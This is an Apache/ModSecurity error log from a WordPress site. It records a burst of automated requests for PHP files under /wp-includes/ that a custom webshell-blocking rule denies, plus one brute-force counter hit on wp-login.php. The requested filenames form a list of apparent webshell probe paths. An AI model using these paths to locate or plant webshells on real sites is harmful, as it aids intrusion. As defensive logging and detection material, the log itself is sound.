[Fri Nov 21 16:54:38.221778 2025] [:error] [pid 25521:tid 25527] [client 136.144.42.73:64309] [client 136.144.42.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aSAozvhXnBMilDddn3X-swAAAMQ"]
[Fri Nov 21 16:54:39.524886 2025] [:error] [pid 25429:tid 25439] [client 45.132.227.56:27267] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aSAozz4rZbRSr7vu-NO9QgAAAAY"]
[Fri Nov 21 16:54:41.431353 2025] [:error] [pid 25554:tid 25562] [client 136.144.42.74:29873] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aSAo0R-NtB-9AzFZrk5rdQAAAQQ"]
[Fri Nov 21 16:54:42.294859 2025] [:error] [pid 25430:tid 25481] [client 45.132.227.53:61857] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aSAo0qpnWJcWt_4foXlX-wAAAFU"]
[Fri Nov 21 16:54:43.154085 2025] [:error] [pid 25431:tid 25490] [client 172.98.32.99:41383] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aSAo08klhXxmoIExII1NPQAAAIM"]
[Fri Nov 21 16:54:44.019242 2025] [:error] [pid 25431:tid 25498] [client 45.132.227.59:59341] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aSAo1MklhXxmoIExII1NPgAAAIs"]
[Fri Nov 21 16:54:44.896513 2025] [:error] [pid 25431:tid 25499] [client 172.98.32.95:42665] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aSAo1MklhXxmoIExII1NPwAAAIw"]
[Fri Nov 21 16:54:46.628971 2025] [:error] [pid 25429:tid 25444] [client 172.98.32.91:23319] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aSAo1j4rZbRSr7vu-NO9TgAAAAs"]
[Fri Nov 21 16:54:47.493843 2025] [:error] [pid 46939:tid 46946] [client 172.98.32.76:53703] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aSAo1-0OmVoxD4VZ_ZmQOwAAAUQ"]
[Fri Nov 21 16:54:48.356444 2025] [:error] [pid 46939:tid 46942] [client 136.144.42.77:56491] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aSAo2O0OmVoxD4VZ_ZmQQwAAAUA"]
[Fri Nov 21 16:54:49.651521 2025] [:error] [pid 46939:tid 46946] [client 172.98.32.77:32363] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aSAo2e0OmVoxD4VZ_ZmQSQAAAUQ"]
[Fri Nov 21 16:54:51.389187 2025] [:error] [pid 25554:tid 25579] [client 45.132.227.58:30313] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aSAo2x-NtB-9AzFZrk5rlwAAARU"]
[Fri Nov 21 16:54:52.260976 2025] [proxy_fcgi:error] [pid 25429:tid 25434] [client 172.98.32.95:49895] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:54:54.029633 2025] [:error] [pid 25429:tid 25440] [client 172.98.32.95:49895] [client 172.98.32.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.95, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSAo3j4rZbRSr7vu-NO9aAAAAAc"]
[Fri Nov 21 16:54:56.656945 2025] [:error] [pid 25429:tid 25441] [client 172.98.32.95:49895] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aSAo4D4rZbRSr7vu-NO9cQAAAAg"]
[Fri Nov 21 16:54:57.537230 2025] [:error] [pid 25554:tid 25568] [client 172.98.32.79:42379] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aSAo4R-NtB-9AzFZrk5rowAAAQo"]
[Fri Nov 21 16:55:05.925691 2025] [:error] [pid 46939:tid 46947] [client 136.144.42.74:44599] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSAo6e0OmVoxD4VZ_ZmQdAAAAUU"]
[Fri Nov 21 16:55:06.789309 2025] [:error] [pid 25430:tid 25468] [client 45.132.227.62:61401] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aSAo6qpnWJcWt_4foXlYGQAAAEg"]
[Fri Nov 21 16:55:07.650197 2025] [:error] [pid 25430:tid 25472] [client 172.98.32.82:60735] [client 172.98.32.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSAo66pnWJcWt_4foXlYGgAAAEw"]
[Fri Nov 21 16:55:11.127829 2025] [:error] [pid 25429:tid 25452] [client 136.144.42.75:51877] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aSAo7z4rZbRSr7vu-NO9gwAAABM"]
[Fri Nov 21 16:55:12.006129 2025] [:error] [pid 25430:tid 25461] [client 172.98.32.93:29797] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aSAo8KpnWJcWt_4foXlYIgAAAEE"]
[Fri Nov 21 16:55:12.867318 2025] [:error] [pid 46939:tid 46965] [client 172.98.32.93:40939] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aSAo8O0OmVoxD4VZ_ZmQgQAAAVc"]
[Fri Nov 21 16:55:15.477532 2025] [:error] [pid 46939:tid 46962] [client 45.132.227.61:52647] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aSAo8-0OmVoxD4VZ_ZmQjAAAAVQ"]
[Fri Nov 21 16:55:16.789583 2025] [:error] [pid 25431:tid 25505] [client 136.144.42.75:56095] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aSAo9MklhXxmoIExII1NbwAAAJI"]
[Fri Nov 21 16:55:18.529445 2025] [:error] [pid 25521:tid 25542] [client 172.98.32.89:65461] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aSAo9vhXnBMilDddn3X-0wAAANM"]
[Fri Nov 21 16:55:24.195659 2025] [:error] [pid 25430:tid 25483] [client 172.98.32.96:55511] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSAo_KpnWJcWt_4foXlYMwAAAFc"]
[Fri Nov 21 16:55:25.937936 2025] [:error] [pid 25521:tid 25542] [client 172.98.32.88:23697] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSAo_fhXnBMilDddn3X-5gAAANM"]
[Fri Nov 21 16:55:29.413428 2025] [:error] [pid 25429:tid 25453] [client 172.98.32.91:37111] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aSApAT4rZbRSr7vu-NO9uAAAABQ"]
[Fri Nov 21 16:55:31.154935 2025] [:error] [pid 25521:tid 25545] [client 172.98.32.96:20027] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aSApA_hXnBMilDddn3X-8wAAANY"]
[Fri Nov 21 16:55:33.759141 2025] [:error] [pid 25429:tid 25456] [client 172.98.32.85:38899] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aSApBT4rZbRSr7vu-NO9xQAAABc"]
[Fri Nov 21 16:55:36.814271 2025] [:error] [pid 25431:tid 25508] [client 172.98.32.93:38905] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aSApCMklhXxmoIExII1NjAAAAJU"]
[Fri Nov 21 16:55:38.568151 2025] [:error] [pid 25431:tid 25503] [client 172.98.32.81:42639] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aSApCsklhXxmoIExII1NkgAAAJA"]
[Fri Nov 21 16:55:39.431999 2025] [:error] [pid 46939:tid 46963] [client 45.132.227.64:32859] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aSApC-0OmVoxD4VZ_ZmQ2wAAAVU"]
[Fri Nov 21 16:55:42.482944 2025] [:error] [pid 25521:tid 25546] [client 136.144.42.78:64663] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aSApDvhXnBMilDddn3X_AgAAANc"]
[Fri Nov 21 16:55:45.549167 2025] [:error] [pid 25431:tid 25511] [client 45.132.227.63:58087] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aSApEcklhXxmoIExII1NoAAAAJg"]
[Fri Nov 21 16:55:48.161060 2025] [:error] [pid 25430:tid 25479] [client 136.144.42.77:31063] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSApFKpnWJcWt_4foXlYTwAAAFM"]
[Fri Nov 21 16:55:49.035525 2025] [:error] [pid 46939:tid 46960] [client 136.144.42.77:44711] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aSApFe0OmVoxD4VZ_ZmQ7AAAAVI"]
[Fri Nov 21 16:55:52.177292 2025] [:error] [pid 25431:tid 25490] [client 172.98.32.98:31075] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aSApGMklhXxmoIExII1NpgAAAIM"]
[Fri Nov 21 16:55:54.345714 2025] [:error] [pid 25430:tid 25475] [client 172.98.32.84:63561] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aSApGqpnWJcWt_4foXlYUwAAAE8"]
[Fri Nov 21 16:55:55.214844 2025] [:error] [pid 25430:tid 25481] [client 172.98.32.95:64181] [client 172.98.32.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aSApG6pnWJcWt_4foXlYVQAAAFU"]
[Fri Nov 21 16:55:58.742642 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.98:56549] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aSApHsklhXxmoIExII1NtwAAAIg"]
[Fri Nov 21 16:56:00.494234 2025] [:error] [pid 25429:tid 25442] [client 136.144.42.79:30365] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aSApID4rZbRSr7vu-NO96AAAAAk"]
[Fri Nov 21 16:56:01.437786 2025] [:error] [pid 25431:tid 25511] [client 45.132.227.54:25357] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aSApIcklhXxmoIExII1NvwAAAJg"]
[Fri Nov 21 16:56:03.180077 2025] [:error] [pid 46939:tid 46961] [client 136.144.42.77:32403] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aSApI-0OmVoxD4VZ_ZmRCAAAAVM"]
[Fri Nov 21 16:56:04.480407 2025] [:error] [pid 25429:tid 25445] [client 172.98.32.87:44137] [client 172.98.32.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aSApJD4rZbRSr7vu-NO97gAAAAw"]
[Fri Nov 21 16:56:07.571451 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.85:23759] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aSApJx-NtB-9AzFZrk5sLAAAAQ0"]
[Fri Nov 21 16:56:09.305963 2025] [:error] [pid 46939:tid 46958] [client 172.98.32.85:55959] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aSApKe0OmVoxD4VZ_ZmREwAAAVA"]
[Fri Nov 21 16:56:11.037253 2025] [:error] [pid 25521:tid 25526] [client 45.132.227.62:63933] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aSApK_hXnBMilDddn3X_KgAAAMM"]
[Fri Nov 21 16:56:12.344072 2025] [:error] [pid 25521:tid 25530] [client 45.132.227.54:52599] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aSApLPhXnBMilDddn3X_LwAAAMc"]
[Fri Nov 21 16:56:13.666408 2025] [:error] [pid 25554:tid 25562] [client 172.98.32.99:49967] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aSApLR-NtB-9AzFZrk5sNQAAAQQ"]
[Fri Nov 21 16:56:14.550249 2025] [:error] [pid 25521:tid 25538] [client 45.132.227.56:23285] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSApLvhXnBMilDddn3X_NQAAAM8"]
